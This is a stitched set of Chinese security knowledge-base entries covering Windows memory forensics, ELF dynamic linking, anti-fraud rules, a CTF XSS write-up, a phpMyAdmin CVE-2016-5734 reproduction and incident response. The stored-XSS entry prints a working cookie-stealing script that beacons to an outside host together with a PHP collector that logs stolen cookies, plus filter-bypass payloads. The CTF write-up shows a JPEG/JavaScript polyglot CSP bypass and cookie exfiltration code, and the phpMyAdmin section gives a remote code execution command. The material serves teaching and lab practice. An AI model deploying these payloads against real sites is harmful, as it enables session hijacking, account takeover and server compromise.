Windows 操作系统最多支持 16 个页交换文件。启用物理地址扩展功能 (PAE) 的 Windows 32 位和 64 位系统的最大页交换文件大小为 16TB。64 位的安腾架构(Itanium)的系统的页交换文件可以支持高达 32TB。 页交换文件大小的默认值为计算机物理内存大小的 1.5 至 3 倍。
Pagefile.sys 用于存储从物理内存中转移过来的数据。 要获得一个正在运行的系统的活动全貌或快照,我们通常除了分析物理内存,还需要分析 pagefile.sys。 部分工具支持同时将物理内存和 pagefile.sys 进行检查分析。通常 pagefile.sys 文件放置于操作系统所在分区,当然用户也完全可能修改高级设置或注册表调整 pagefile.sys 的存储位置。
从 Windows 7 操作系统版本开始,Windows 系统开始支持页交换文件 pagefile.sys 的加密。
启用页交换文件加密
查询页交换文件加密状态
**休眠文件(HiberFil.sys)**
Hiberfil.sys 是当系统休眠时,Windows 将物理内存的数据写入到磁盘生成的一个文件。当系统进入休眠状态后,网络连接将会中断。 当系统重新加电时,hiberfil.sys 文件中的数据重新回写到物理内存中,这也使得从休眠状态恢复到原始状态变得相当快。
休眠文件包含了标准的头部 (PO_MEMORY_IMAGE),包含了内核上下文与寄存器的相关信息及压缩的数据块。该文件采用了 Xpress 算法(带霍夫曼 Huffman 及 LZ 编码)。 文件头部通常包含了“hibr”、“HIBR”、“wake” 或“WAKE”等特征。 操作系统从休眠状态恢复后,头部就被清零了。清零后的文件头可能导致一些取证软件无法分析该文件。
通过分析 hiberfil.sys 文件的修改时间戳信息,我们可以了解到该系统最后一次休眠的时间。系统中的休眠文件 hiberfil.sys 只有一个。当系统重新休眠时,当前物理内存中的内容将会覆盖原有文件的数据。 要对 hiberfil.sys 进行分析,要求取证工具可以将休眠文件中的数据进行解压为原生数据并进行数据解析。Mattieu Suiche 的 Windows Memory Toolkit 工具 hibr2bin.exe 支持将休眠文件转为原生转储文件。
当取证人员在现场要制作 Windows 操作系统的物理内存镜像时,可能由于内存镜像工具不兼容操作系统导致无法获取物理内存数据。当无法成功制作物理内存镜像时,还可以让系统进入休眠模式,从而用变通的方式获得物理内存中的数据。
要进入休眠模式,首先要让系统启用休眠模式支持。Windows 8 及以上版本的操作系统,默认启用休眠模式支持。取证人员也可以管理员权限进入命令行模式,并输入 powercfg.exe /hibernate ON 来启用休眠模式支持。要让操作系统进入休眠模式,需要输入 shutdown /h .
Vista 以上操作系统在原有支持休眠模式 (Hibernate Mode) 的基础上增加了睡眠模式(Sleep Mode)。睡眠模式状态下,操作系统使用极少的电量保证内存可以继续工作,一旦系统电量不足,系统将保存所有内存数据到磁盘并关闭计算机。而休眠模式状态下,系统关闭,将内存中的数据写入休眠文件 hiberfil.sys 中。
在默认的 Windows 开始菜单中的 “电源” 找不到 “休眠”,可以通过按 Win+X 键,选择“控制面板”,找到“硬件和声音”->“电源选项”->“选择电源按钮的功能”,选择“更改当前不可用的设置”, 在“关机设置” 下将 “休眠” 选项勾选。后续在开始菜单选择 “电源” 即可直接看到 “休眠” 选项。
---
## Windows 内存管理
- 内容见 [Windows内存管理笔记](../../Integrated/Windows/笔记/内存管理.md)
|
sec-knowleage
|
bye
===
命令用于中断FTP连线并结束程序
## 补充说明
**bye命令** 在ftp模式下,输入bye即可中断目前的连线作业,并结束ftp的执行。
### 语法
```shell
bye
```
### 实例
```shell
bye
```
|
sec-knowleage
|
## 存储XSS 是什么
持久型XSS(Persistent)又叫做存储XSS(Stored XSS),与非持久型XSS相反,它是指通过提交恶意数据到存储器(比如数据库、文本文件等),Web应用程序输出的时候是从存储器中读出恶意数据输出到页面的一类跨站脚本漏洞(csrf 写 + self-xss = 存储 xss)。
存储型XSS,输出的位置不一定出现在输入的位置,很难依赖于扫描自动发现(请求后从此页面/refer开始爬,看是否能触发)。比如说客户端app输入的位置,可能在app 其他输出地方才会触发,或者需要分享到网页版才能触发。
更多时候是利用盲打的思想,XSS 盲打后台(其实最简单的就一个 js 弹cookie 请求到一个 服务端接收的 php ),代码如下所示:
``` javascript
(function() {
(new Image()).src='http://simba.im/js/xss.php?cookie='+
escape(
(function() {
try {
return document.cookie
} catch (e) {
return ''
}
})()
)+'&location='+
escape(
(function() {
try {
return document.location.href
} catch (e) {
return ''
}
})()
);
})();
```
``` php
<?php
if(isset($_REQUEST['cookie']) && isset($_REQUEST['location']))
{
$cookie = $_REQUEST['cookie'];
$location = $_REQUEST['location'];
$stri = "<td>".date(DATE_ATOM)."</td><td>Cookie:".$cookie."</td><td>Location:".$location."</td>";
$fp = file_put_contents("xss.txt", $stri."\n", FILE_APPEND);
}
$fp = file_get_contents("xss.txt");
$data = (explode("\n", $fp));
echo "<table bode=\"1\">";
foreach($data as $key => $value)
{
if ($value == "")
{
continue;
}
echo "<tr><td>".($key)."</td>".$value."</tr>";
}
echo "</table>";
?>
```
在添加 payload 去盲打的时候很可能被富文本过滤器过滤掉,下面着重来讲下如何利用 fuzzing 思想来逃过 xss filter 的过滤。
原稿来自 martin zhou(周雨阳)
## 一、背景
在一些互联网巨头的站点,总有一些业务,比如邮件内容编辑、日志帖子类编辑发布等功能时,需要授权给用户自定义链接、改变字体颜色,插入视频图片,这时就不得不需要需要引入 HTML 富文本实现相应功能。htmlspecialchars()这种把所有特殊符号做转义处理的过滤办法,在这里,英雄无用武之地,因为 HTML标签全部被过滤了,那之前提到的这些用户可以自定义功能又该如何实现?
一个问题总有它的解决办法,所以基于白/黑名单防御思想的富文本内容过滤器应运而生,并很快被应用到了对抗富文本存储型 XSS 的前沿。它的任务就是根据内置的正则表达式和一系列规则,自动分析过滤用户提交的内容,从中分离出合法和被允许的 HTML,然后经过层层删除过滤和解析最终展示到网页前端用户界面来。这样既不影响网站的安全性,也不会妨碍到用户自定义富文本内容功能的实现。道高一尺魔高一丈,经过一些前期的手工测试和侧面从各种渠道公开的漏洞报告中了解,大多数网站的富文本过滤器采用“黑名单”的设计思想。这也为我们使用模糊测试来自动化挖掘富文本存储型 XSS 提供了可能性。

(图:某国内知名邮箱的富文本过滤器基于“黑名单”设计逻辑)
与此同时,本文的主角,“强制发掘漏洞的利器”-- 模糊测试(Fuzzing Test),相信各位一定不会陌生。无论是在二进制还是在 WEB 端的黑盒测试中都有它立功的身影,从客户端软件漏洞的挖掘到 WEB 端弱口令的爆破,本质上都可以认为是一种模糊测试。结合富文本过滤器“黑名单”的实现逻辑,接下来,本文将主要探讨这类富文本存储型跨站脚本的模糊测试之道。将模糊测试这一强大的漏洞挖掘武器通过精细的打磨,挖掘出大量的潜在缺陷,并同时给出修复此类漏洞的“防守”建议。
## 二、 找准目标,事半功倍
要进行模糊测试,首先要找准目标。知道目标有哪些地方有富文本编辑器,又有哪些种类,进一步推测其是否基于“黑名单”思想,是否可以进行自动化的模糊测试,才可以让我们接下来要进行的模糊测试,发挥出事半功倍的效果。并不是所有允许用户提交自定义内容的地方,都允许用户自定义富文本,如果网站已经在后端对所有提交的内容做了 htmlspecialchars()的过滤,就意味着所有提交的内容都会被转义,也就不存在模糊测试的必要了。比如:

乌云漏洞报告平台的评论回复区域,后端的实现逻辑就是不允许用户传入富文本内容,对所有用户输入的内容做了 htmlspecialchars()的过滤。也就是说,如果你传入类似:
`<script>alert(1);</script> => <script>alert(1);</script> `
这时无论你使用何种高大上的 XSS Vector,都无济于事,被转义以后的内容,无法对构成 XSS 跨站脚本。富文本编辑器也分很多种,比如基于 HTML 标签形式的富文本编辑器(Ueditor、Fckeditor),自定义富文本标签形式(Markdown, UBB(`[email=2" onmouseover="alert(2)]2[/email]`)),在国内外各大网站都有使用。模糊测试万变不离其宗,你有了一把锋利的斧头,你无论用什么方式砍柴,本质相同。只是有时候是类似 Ueditor 的编辑器,在进行模糊测试的时候,可能会更加方便容易。

(图:百度 Ueditor)
## 三、模糊测试框架
就好比写字之前你必须有一只笔,砍柴前必须有一把斧子一样,在开始针对富文本过滤器展开模糊测试之前,你必须得有一个可以自动生成 Payload 的模糊测试框架。设计模糊测试框架可以使用 Python/PHP/Javascript 等不同的脚本语言,也可以结合不同的设计思路。不过,今天笔者使用和想要介绍的思路是,通过“拼接”思想动态生成大量的供模糊测试使用的 Payload。这里的“拼接”思想,其实是一种基于“语法(Syntax)”规则来生成的 Payload 的方式。正在阅读本篇文章的你,也许听说过用编写好的程序根据一定规律生成足以以假乱真的“宋词”的新闻。同样的方法,也可以运用到针对富文本编辑器的模糊测试框架设计上来,不同的 HTML 文档看似千奇百怪,各有千秋,但都遵循着一定的规律,而这个规律就是我们刚刚提到的“语法(Syntax)”。不管一个 HTML元素再怎么变化,其最基本的组成部分一定有“<”,“>”,标签名(Tag Name),属性名(Attribute),属性值(Value)。所以按照这样的设计思路,我们就可以设计出一个简单的模糊测试框架出来。在本文最后,笔者也将给出在前辈大牛公开的 Fuzzer 基础上编写的模糊测试框架,供大家学习研究使用。

(图:基于拼接思想动态生成 XSS Fuzzing Test Payload 的框架代码)
## 四、 模糊测试模板
有了模糊测试框架,就好比有了手枪,现在我们需要给它装上“子弹”-- 模糊测试模板,这样我们才能对不同的富文本编辑器背后的过滤程序展开模糊测试。一个模糊测试模板的好坏,很大程度上决定了之后我们是否能够高效的测试出富文本编辑器中潜在的缺陷,从而发掘出大量的存储型 XSS 构造姿势。而在设计自己的模糊测试模板时,主要需要考虑三点:边界、进制编码和字符集。
先来说说边界问题。以下面简单的 HTML 代码为例:
`<span class="yyy onmouseover=11111" style="width:expression(alert(9));"></span>`
上述 HTML 标记语言文本传给后端富文本编辑器的时候,程序会如何过滤和解析?也许是这样的:首先匹配到`<span`,进入其属性值过滤的逻辑,首先是否含有高危的 on 开头的事件属性,发现存在 onmouseover 但被 `” ”`包裹,作为 class属性的属性值,所以并不存在危险,于是放行;接着分析 style 属性,其中有高危关键词`expression()`,又有括弧特殊符号,所以直接清除过滤。上述过滤流程的实现,很大程度依赖于后端通过正则匹配进行的 HTML 标签中的边界分析。通过对“边界”的判定,类似 `class="yyyy onmouserover=11111"` 的属性及其值才会被放行,因为虽然 `onmouserover=11111` 虽然是高危的事件属性,但存在于`=" "`中,没有独立成一个 HTML 属性,也就不存在风险。所以在上面的例子中,`=” ”` 就是边界,`<span` 中的尖括号也是边界,空格也可以说成一种边界。所以,形象一点说,一段 HTML 代码的边界位置很有可能是下面这样的:`[边界]<span[边界]class=[边界]yyy[边界]>[边界]</span[边界]>`
所以如果是类似 `style="width:expr/*"*/esion(alert(9));"` 属性和属性值呢?程序又该如何确定边界?是 `style="a:expr/*"`还是 `style="a:expr/*"*/ession(alert(9));"` ? 当后端富文本过滤程序遇到这样,略微复杂的选择题时,如果其后端规则设计的过于简单,就很有可能导致把不该过滤的过滤掉,而把非法的内容放行,从而我们可以构造出存储型 XSS。打乱 HTML 边界,让后端富文本过滤器陷入选择窘境,这是我们设计模糊测试模板的原则之一。有哪些内容可能会导致富文本内容过滤器出现边界判断问题?
(1) 特殊 HTML 符号,通过这类明显的符号,过滤器就可以到 HTML 标签及其属性,但这些符号错误的时候出现在了错误的地点,往往会酿成大祸,如:
`=, ", ', :, ;, >, <, 空格, /,`
(2) 过滤器会过滤删除的内容,我们在边界填充下面这些元素,过滤器盲目删除,很有可能导致原本无害的属性值,挣脱牢笼,成为恶意的属性和属性值,如:
`expression, alert, confirm, prompt, <script>,<iframe>`
(3) 不可打印字符,如:
`\t、\r、\n、\0` 等不可打印字符
综上,现在我们已经可以用 Fuzzer 生成一个下面这样的 Payload。幸运的话,或许已经可以绕过一些后端逻辑简单的富文本过滤器了,示例如下:`<<<span/class=/yyyy onmouseover=11111/style="a:exp/*">*/ression(1);"></span>`

当然,除了边界区分问题,富文本过滤器面对着另外两个劲敌,特殊的进制字符编码和千奇百怪的字符集。
我们先来说说字符编码,类似`\x22`,`\40`,`"`等一系列进制编码,直接当作文本内容传递给后端富文本过滤器,会怎么处理呢?解密后过滤?直接输出?经验告诉我们,不少过滤器在处理类似特殊的进制编码时,往往会在进制编码的特殊 HTML 符号面前摔个人仰马翻。像下面这样一段看似无害化的 Payload,在富文本过滤器自作聪明的解密过后,变成了一段跨站脚本:
前:`<span class="yyy "onmouseover=alert(1);//"></span>`
=>
后:`<span class="yyy" onmouseover=alert(1);//"></span>`
原本`“yy "onmouseover=alert(1);//”`并不存在边界被打破的情况,但是经过富文本编辑器的解密处理,`"`被转换回`”`,边界因此被打破。

接下来,我们再来说说千奇百怪的字符集,不少富文本编辑器在处理类似`㊗`的 emoji 字符时,会将字符转化成`<img>`标签,最初的出发点,大概就是,统一在不同设备不同平台上 emoji 字符的表现形式。在乌云漏洞报告平台上也有类似的案例,一段起初无害的 Payload 摇身一变,成了有害的跨站脚本:
前:`<style x="㊗" y="Fuzzitup {}*{xss:expression(alert(document.domain))}">`
=>
后:
```
<style x="<IMG src=" https:="" res.mail.qq.com="" zh_cn="" htmledition="" images=""
emoji32="" 3297.png"="">" y="Fuzzitup {}*{xss:expression(alert(document.domain))}"></style>
```
综合考虑边界、进制编码、字符集的三个基础要素,一个基础的模糊测试模板就成型了。
不过等等,我们还需要“锦上添花”,通过分析互联网上公开 XSS Vector,我们还发现,由于一些浏览器奇怪的 DOM 解析逻辑,很有可能让一些本来无害的HTML Payload 在某个特定版本的浏览器内执行,我们在设计模糊测试模板的时候也应该把这些纳入考虑范围内。举个例子:
`<div id="b" style="font-family:a/**/ression(alert(1))('\')exp\')">aa</div>`
上面这段 Payload 看似无害,因为style 属性内根本没有出现 expression 这个单词,不过在 IE 7 和 IE8/9 的怪异模式下,仍然会被执行。在进行模糊测试的过程中,我们也需要不断地根据互联网上公开的各种案例,取其精华,不断更新打磨我们的模糊测试模板,这样在过滤器保护下的富文本编辑器中的漏洞才会源源不断的被挖掘出来。与此同时,我们在实战过程中,可能解决一些棘手的“高级”的问题,比如:模糊测试的效率、自动化等,这也需要我们经过一次又一次的测试探索,调整,使得我们的模糊测试工具达到最优的状态。
## 五、“大功告成”
除了上文提到的几点,在对富文本编辑器进行模糊测试的不同阶段,我们通常还需要进行一番“踩点”,我们将这些本需要人工完成的“准备工作”,也都加入到我们的模糊测试工具中来。比如,在模糊测试开始之前,通常需要探测富文本过滤器允许哪些 HTML 标签属性在前台进行展示,这样才能有的放矢的进行更为精准的模糊测试。那我们就让我们的 Fuzzer 能够动态批量生成带有不同属性的各式 HTML 标签,前面提到
的“拼接”思想,就能够很简单的完成这样的任务;再比如,我们需要模糊测试能够自动化,因为我设计的 Fuzzer 是基于 PHP 的,结合 PHPMail 第三方库,我们就能够很轻松地实现,自动化发送邮件到指定邮箱对不同邮件系统的富文本编辑器进行模糊测试。

(图:笔者的 Fuzzer 部分源代码)
上面这段代码,出自笔者编写的 Fuzzer 中,其原理就是基于“HTML 语法”动态自动化生成带有不同 HTML 标签的 Payload,事实证明,通过这样自动化的模糊测试,确实能够挖掘出不少平时手工无法挖掘到的富文本存储型 XSS。
## 六、后记
诚然,模糊测试是自动化强制发现漏洞的一个重要手段,就像自动化漏洞扫描器一样。但我们并不能完全依靠它,在测试过程中,对过滤器结果进行适时的分析,对模糊测试模板做出合理的改进,不仅能提高模糊测试的效率,还能够帮助我们挖掘到更多潜在的设计缺陷。毕竟,机器终究是“死板”的,而人是“灵活”的。富文本跨站脚本测试之道,就是对每一次模糊测试的结果进行细致分析,加上对模糊测试模板的不断打磨。毕竟,人与机器的结合,才会打造出一把真正的“神器”。
## Reference
[htmlawed](http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/index.php)
|
sec-knowleage
|
### 程序动态链接概述
动态链接主要是在程序初始化时或者程序执行的过程中解析变量或者函数的引用。ELF文件中某些节区以及头部元素就与动态链接有关。动态链接的模型由操作系统定义并实现。
### Dynamic Linker介绍
动态链接器可以用来帮助加载应用所需要的库并解析库所导出的动态符号(函数和全局变量)。
当使用动态链接来构造程序时,链接编辑器会在可执行文件的程序头部添加一个 PT_INTERP 类型的元素,以便于告诉系统将动态链接器作为程序解释器来调用。
> 需要注意的是,对于系统提供的动态链接器,不同的系统会不同。
可执行程序和动态链接器会合作起来为程序创建进程镜像,具体的细节如下:
1. 将可执行文件的内存段添加到进程镜像中。
2. 将共享目标文件的内存段添加到进程镜像中。
3. 为可执行文件以及共享目标文件进行重定位。
4. 如果传递给了动态链接器一个文件描述符的话,就将其关闭。
5. 将控制权传递给程序。这让我们感觉起来就好像程序直接从可执行文件处拿到了执行权限。
链接编辑器同样也创建了各种各样的数据来协助动态链接器来处理可执行文件和共享目标文件,例如
- 类型为SHT_DYNAMIC的节.dynamic包含了各种各样的数据,在这个节的开始处包含了其它动态链接的信息。
- 类型为SHT_HASH的节.hash包含了符号哈希表。
- 类型为SHT_PROGBITS的节.got以及.plt包含了两个独立的表:全局偏移表,过程链接表。程序会利用过程链接表来处理地址独立代码。
因为所有的UNIX System V都会从一个共享目标文件中导入基本的系统服务,动态链接器会参与到每一个TIS ELF-conforming的程序执行过程中。
正如程序加载中所说的,共享目标文件中可能会占用与程序头部中记录的不一样的虚拟地址。动态链接器会在程序拿到控制权前,重定位内存镜像,更新绝对地址。如果共享目标文件确实加载到了其在程序头部中指定的地址的话,那么那些绝对地址的值就会是正确的。但通常情况下,这种情况不会发生。
如果进程的环境中有名叫 LD_BIND_NOW 的非空值,那么动态连接器在把权限传递给程序时,会执行所有的重定位。例如,所有的如下环境变量的取值都会指定这一行为。
- LD_BIND_NOW = 1
- LD_BIND_NOW = on
- LD_BIND_NOW = off
否则,LD_BIND_NOW 要么不存在于当前的进程环境中,要么具有一个非空值。动态链接器可以延迟解析过程链接表的入口,这其实就是plt表的延迟绑定,即当程序需要使用某个符号时,再进行地址解析,这可以减少符号解析以及重定位的负载。
### Function Address介绍
可执行文件中的函数的地址引用和共享目标中与其相关的引用可能并不会被解析为一个值。共享目标文件中对应的引用将会被动态链接器解析到函数本身对应的虚拟地址处。可执行文件中对应的引用(来自于共享目标文件)将会被链接编辑器解析为过程链接表中对应函数的项中的地址。
为了允许不同的函数地址可以按照期望进行工作,如果一个可执行文件引用了一个定义在共享目标文件中的函数,那么链接编辑器就会把相应函数的过程链接表项放到与它关联的符号表表项中。动态链接器会对这种符号表项进行特殊的处理。如果动态链接器在寻找一个符号,并且遇到了一个符号表项在可执行文件中的符号,那么它会遵循如下的规则:
1. 如果符号表项的`st_shndx` 不是`SHN_UNDEF ` ,动态链接器就会找到这个符号的定义,并且使用它的st_value来作为符号的地址。
2. 如果`st_shndx` 是`SHN_UNDEF` 并且符号的类型是`STT_FUNC` ,而且`st_value` 成员不是0,动态链接器就会把这个表项视为特殊的,并且使用`st_value` 的值作为符号的地址。
3. 否则,动态链接器就会认为在可执行文件中的符号是未定义的,然后继续处理。
一些重定位与过程链接表的表项相关。这些表项被用于直接函数调用,而不是引用函数地址。这些重定位并不会按照上面的方式进行处理,因为动态链接器必须不能重定向过程链接表项并使其指向它们本身。
### Shared Object Dependencies介绍
当链接编辑器在处理一个归档库的时候,它会提取出库成员并且把它们拷贝到输出目标文件中。这种静态链接的操作在执行过程中是不需要动态连接器参与的。共享目标文件同时也提供了服务,动态链接器必须将合适的共享目标文件attach到进程镜像中,以便于执行。因此,可执行文件以及共享目标文件会专门描述他们的依赖关系。
当一个动态链接器为一个目标文件创建内存段时,在DT_NEEDED项中描述的依赖给出了需要什么依赖文件来支持程序的服务。通过不断地连接被引用的共享目标文件(即使一个共享目标文件被引用多次,它最后也只会被动态链接器连接一次)及它们的依赖,动态链接器建立了一个完全的进程镜像。当解析符号引用时,动态链接器会使用BFS(广度优先搜索)来检查符号表。也就是说,首先,它会检查可执行文件本身的符号表,然后才会按照顺序检查DT_NEEDED入口中的符号表,然后才会继续查看下一次依赖,依次类推。共享目标文件必须可以被程序读取,其它权限不一定需要。
依赖列表中的名字要么是DT_SONAME中的字符串,要么是用于构建对应目标文件的共享目标文件的路径名。例如,如果一个链接器使用了一个带有DT_SONAME项名字叫做lib1的共享目标文件以及一个其他路径名为/usr/lib/lib2的共享目标文件,那么可执行文件中将会包含lib1以及/usr/lib/lib2依赖列表。
如果一个共享目标文件具有一个或者多个/,例如/usr/lib/lib2或者directory/file,那么动态链接器会直接使用那个字符串来作为路径的名字。如果名字中没有/,比如lib1,那么以下的三种机制给出了共享目标文件搜索的顺序。
- 首先,动态数组标记DT_RPATH可能会给出一个包含一系列以:分割的目录的字符串。例如 /home/dir/lib:/home/dir2/lib: 告诉我们先在`/home/dir/lib`目录搜索,然后再在`/home/dir2/lib`搜索,最后在当前目录搜索。
- 其次,进程环境变量中的名叫LD_LIBRARY_PATH的变量包含了一系列上述所说格式的目录,最后可能会有一个;,后面跟着另外一个目录列表后面跟着另外一个目录列表。这里给出一个例子,效果与第一个所说的效果相同
- LD_LIBRARY_PATH=/home/dir/lib:/home/dir2/lib:
- LD_LIBRARY_PATH=/home/dir/lib;/home/dir2/lib:
- LD_LIBRARY_PATH=/home/dir/lib:/home/dir2/lib:;
所有的LD_LIBRARY_PATH中的目录只会在搜索完DT_RPATH才会进行搜索。尽管有一些程序(如链接编辑器)在处理;前后的列表的方式不同,但是动态链接器处理的方式完全一样,除此之外,动态链接器接受分号表示语法,正如上面所描述的样子。
- 最后,如果以上两组目录无法定位期望的库,则动态链接器搜索`/usr/lib` 路径下的库。
注意
> **为了安全性,对于`set-user` 以及 `set-group` 标识的程序,动态链接器忽略搜索环境变量(例如`LD_LIBRARY_PATH`),仅仅搜索`DT_RPATH`指定的目录和`/usr/lib`。**
|
sec-knowleage
|
# 典型(反欺诈)业务场景风险分析
## 1. 垃圾注册风险识别
## 2. 批量登入风险识别
## 3. “薅羊毛”风险识别
### 作业路径分析
注册——登录——领券——交易——支付
> 整体分析思路:上面是一个薅羊毛行为的作业路径,其中的每一个部分也是一个相对独立的业务场景,每个业务场景下都有不同的数据维度,综合这些数据维度可以配置出黑产特征的识别规则。
### 方案设计
> - 使用工具:决策引擎、设备指纹、智能验证码、手机号/IP 画像、地址反欺诈服务、半监督模型
> - 对接场景:注册场景、登录场景、领券场景、交易场景
> - 数据维度:除常规场景能够获取的数据外,在交易场景传入账户注册时间及IP,以挖掘潜伏时间较长的垃圾小号薅羊毛
> - 策略结果使用:我们设计了两套策略,分别对应日常和大促期间。
> - 在日常运营中,对注册场景及登录场景结合使用策略结果和智能验证码,领券场景识别高风险则不发券,交易场景综合前序各场景数据进行分析,并且增加地址反欺诈、半监督模型标签,综合识别高风险则取消该笔订单
> - 大促期间,额外对交易场景识别中风险的交易订单,使用大额优惠券订单增加人工审单环节。同时沉淀审单环节中发现的漏杀、误杀样本以进行策略优化。
## 4. 裂变拉新作弊风险识别
## 5. 恶意退单风险识别
|
sec-knowleage
|
# Darknet Club
* Category: Web
* 200 Points
* Solved by the JCTF Team
## Description
> There is a new invite system for the most exclusive darknet websites.
>
> Can you help me get an in?
## Solution
We enter the attached website and are presented with a register/login page:

We need to enter our username, email, referral and password. After registering, we arrive to the following screen:

On the right side, we can see a "request invitation" button which triggers the following code:
```javascript
async function report() {
$("#submit-btn").prop("disabled", true); // disable multiple submission
// prepare alert
let card = $("#resp-report");
card.text("Your submission is awaiting approval by Admin!");
card.attr("class", "alert alert-info");
card.show();
let data = {};
await fetch('/api/report', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
});
$("#submit-btn").prop("disabled", false);
}
```
This gives us the ability to have the admin visit some page, which usually means that we need to inject some Javascript to the page they're visiting and have them unknowingly execute some malicious code.
Using the "edit" button, we can edit the different fields and look for XSS:

Therefore, we can insert `<script>console.log('XSS')</script>` into each of the fields and see if anything gets logged to the console. When inserting the snippet to the `referral` field, we get a log in the console, but not the one we were hoping for:
```
Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-GENXFgllQ+w2L5qjIm/unWJsx1gGFLQVAhqyNNs8gL4='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
```
It turns out that the site has a CSP which prevents executing inline Javascript code:
```
content-security-policy: default-src 'self'; object-src 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;
```
In order to execute Javascript, we'll need to include a script from the same origin as the site. Luckily, we have an upload API:
```javascript
async function upload() {
$("#upload-btn").prop("disabled", true); // disable multiple submission
// prepare alert
let card = $("#resp-msg");
card.text('Please wait...');
// validate
if ($('input[type=file]')[0].files.length == 0) {
card.text('Please select a file to upload!');
$("#upload-btn").prop("disabled", false);
return;
}
let avatarFile = $('input[type=file]')[0].files[0];
let formData = new FormData();
formData.append('avatarFile', avatarFile);
await fetch('/api/upload', {
method: 'POST',
credentials: 'include',
body: formData,
})
.then((response) => response.json()
.then((resp) => {
if (response.status == 200) {
avatarFile.value = []; // reset file input
$('#file-label').text("Select profile avatar..."); // update label
card.text(resp.message);
console.log(resp.message) // set response message
document.location.reload(); //refresh
}
if (response.status == 500){
card.text("This file could not be uploaded, only JPEG files are allowed! ");
}
}))
.catch((error) => {
card.text("This file could not be uploaded, only JPEG files are allowed! ");
});
$("#upload-btn").prop("disabled", false);
}
```
The only problem is that the server rejects any file that isn't a JPEG file. Sometimes the check is based only on the file extension, but in this case there seems to be some kind of content-based check. We need a file that will pass as a JPEG file but also one where we can embed some Javascript code, or in other words, a [polyglot file](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a):
> Polyglots, in a security context, are files that are a valid form of multiple different file types.
You can find an example for a JPEG-Javascript polyglot [here](https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs), but we found that the challenge uses a much simpler check for JPEG files: It just checks that the first four bytes are `FF D8 FF E0`. So, in order to create a valid polyglot for the sake of the challenge, we could just use it as a variable name:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Darknet_Club]
└─$ hexdump -C poly1.jpg
00000000 ff d8 ff e0 20 3d 20 31 3b 0a 0a 63 6f 6e 73 6f |.... = 1;..conso|
00000010 6c 65 2e 6c 6f 67 28 22 78 73 73 22 29 3b |le.log("xss");|
0000001e
```
Now, let's try to upload it and include it as a script via the vulnerable "referral" field:
```html
<script src="https://darknet-club.chal.intentsummit.org/api/avatar/user1"></script>
```

When we refresh the page, we get another unexpected error in the console:
```
Uncaught SyntaxError: Invalid or unexpected token
```
Luckily, the PortSwigger article above explains that this is related to default charset interpretation, and in order to work around the default UTF-8 interpretation we can specify the following charset:
```html
<script charset="ISO-8859-1" src="https://darknet-club.chal.intentsummit.org/api/avatar/user1"></script>
```
Once we enter this as the referrer, we can finally see "xss" getting printed to the console! This means that we have some form of XSS, and now we need to proceed to the next phase of leaking the admin's info.
We might want to leak the cookie using a RequestBin request, such as:
```javascript
fetch("https://enhqnnej2mgj5.x.pipedream.net?" + btoa(document.cookie));
```
However, that's blocked by the CSP as well:
```
Refused to connect to 'https://enhqnnej2mgj5.x.pipedream.net/' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'connect-src' was not explicitly set, so 'default-src' is used as a fallback.
```
So, in order to leak the admin's cookie, we'll utilize a different capability that doesn't violate the CSP: We'll cause the admin to register a new user with a known username and password, and leak the cookie via the referral field:
```javascript
״א = 1;
if (window.navigator.userAgent.search("HeadlessChrome") != -1)
{
const headers = new Headers()
headers.append("Content-Type", "application/json")
body = {username: "leak", password: "cookie", email: "leak@mail.com", referral: btoa(document.cookie)}
const options = {
method: "POST",
headers,
mode: "cors",
body: JSON.stringify(body),
}
fetch("https://darknet-club.chal.intentsummit.org/api/register", options)
}
```
Notice how we restrict the script to the remote browser so that it doesn't run first locally and register the user with our cookie. In this example we chose to restrict the script to a headless browser but there are many other options.
After reporting the account, we can finally login as our new user and get the flag:

```console
┌──(user@kali)-[/media/sf_CTFs/intent/Darknet_Club]
└─$ echo ZmxhZz1JTlRFTlR7YV9qcDM2XzFzX3cwcjdoX2FfN2gwdTU0bmRfdzByZDV9 | base64 -d
flag=INTENT{a_jp36_1s_w0r7h_a_7h0u54nd_w0rd5}
```
|
sec-knowleage
|
# phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进`preg_replace`函数第一个参数中。
在PHP5.4.7以前,`preg_replace`的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。
以下版本受到影响:
- 4.0.10.16之前4.0.x版本
- 4.4.15.7之前4.4.x版本
- 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
## 环境搭建
运行如下命令启动PHP 5.3 + Apache + phpMyAdmin 4.4.15.6:
```
docker compose up -d
```
启动后,访问`http://your-ip:8080`,即可看到phpMyAdmin的登录页面。使用`root`:`root`登录。
## 漏洞复现
这个功能需要登录,且能够写入数据。
因为目标环境使用root,所以我们可以创建一个临时数据库和数据表,进行漏洞利用。这里,我们使用POC https://www.exploit-db.com/exploits/40185/ 来复现漏洞。
```
./cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://your-ip:8080/
```

-d是已经可以写的数据库,-c是待执行的PHP语句,如果没有指定表名,这个POC会创建一个名为`prgpwn`的表。
|
sec-knowleage
|
原文 by [bypass](https://mp.weixin.qq.com/s/17L_fQJ1qjSvt8UL7VSemg)
## 0x00 前言
当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。
常见的应急响应事件分类:
web入侵:网页挂马、主页篡改、Webshell
系统入侵:病毒木马、勒索软件、远控后门
网络攻击:DDOS攻击、DNS劫持、ARP欺骗
针对常见的攻击事件,结合工作中应急响应事件分析和解决的方法,总结了一些Window服务器入侵排查的思路。
